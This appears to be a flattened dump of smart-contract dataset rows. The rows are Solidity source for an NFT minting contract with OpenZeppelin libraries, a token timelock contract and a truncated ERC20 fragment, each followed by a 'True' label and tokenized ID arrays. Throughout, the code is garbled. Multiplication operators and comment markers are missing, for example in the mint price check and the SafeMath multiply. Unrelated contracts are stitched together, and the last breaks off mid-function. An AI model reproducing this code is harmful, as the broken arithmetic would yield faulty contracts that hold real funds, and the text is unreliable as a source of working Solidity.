toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/LowGas.sol // Amended by HashLips /* !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. The developer will not be responsible or liable for all loss or damage whatsoever caused by you participating in any way in the experimental code, whether putting money into the contract or using the code for your own project. / pragma solidity >=0.7.0 <0.9.0; contract MetaEliteClub is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.15 ether; uint256 public maxSupply = 9977; uint256 public maxMintAmountPerTx = 5; bool public paused = true; bool public revealed = false; constructor() ERC721("Meta Elite Club", "MEC") { setHiddenMetadataUri("ipfs://QmcjrWHTS1xfnBX3r4cvHgFrUEi4xScoMp6YdjvdWgY4sH/hidden.json"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 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pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public{ owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30326400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x01C8bc0F64C9cCF3a91343eCe57418F73E66111e; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 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pragma solidity ^0.4.18; contract ERC20 { uint256 public totalSupply; function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value); /* This notifies clients about the amount burnt / event Burn(address indexed from, uint256 value); / This notifies clients about the amount frozen / event Freeze(address indexed from, uint256 value); / This notifies clients about the amount unfrozen / event Unfreeze(address indexed from, uint256 value); } contract Owned{ address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner{ if(msg.sender != owner){ revert(); }else{ _; } } function transferOwner(address newOwner) onlyOwner public { owner = newOwner; } } / Math operations with safety checks / contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function 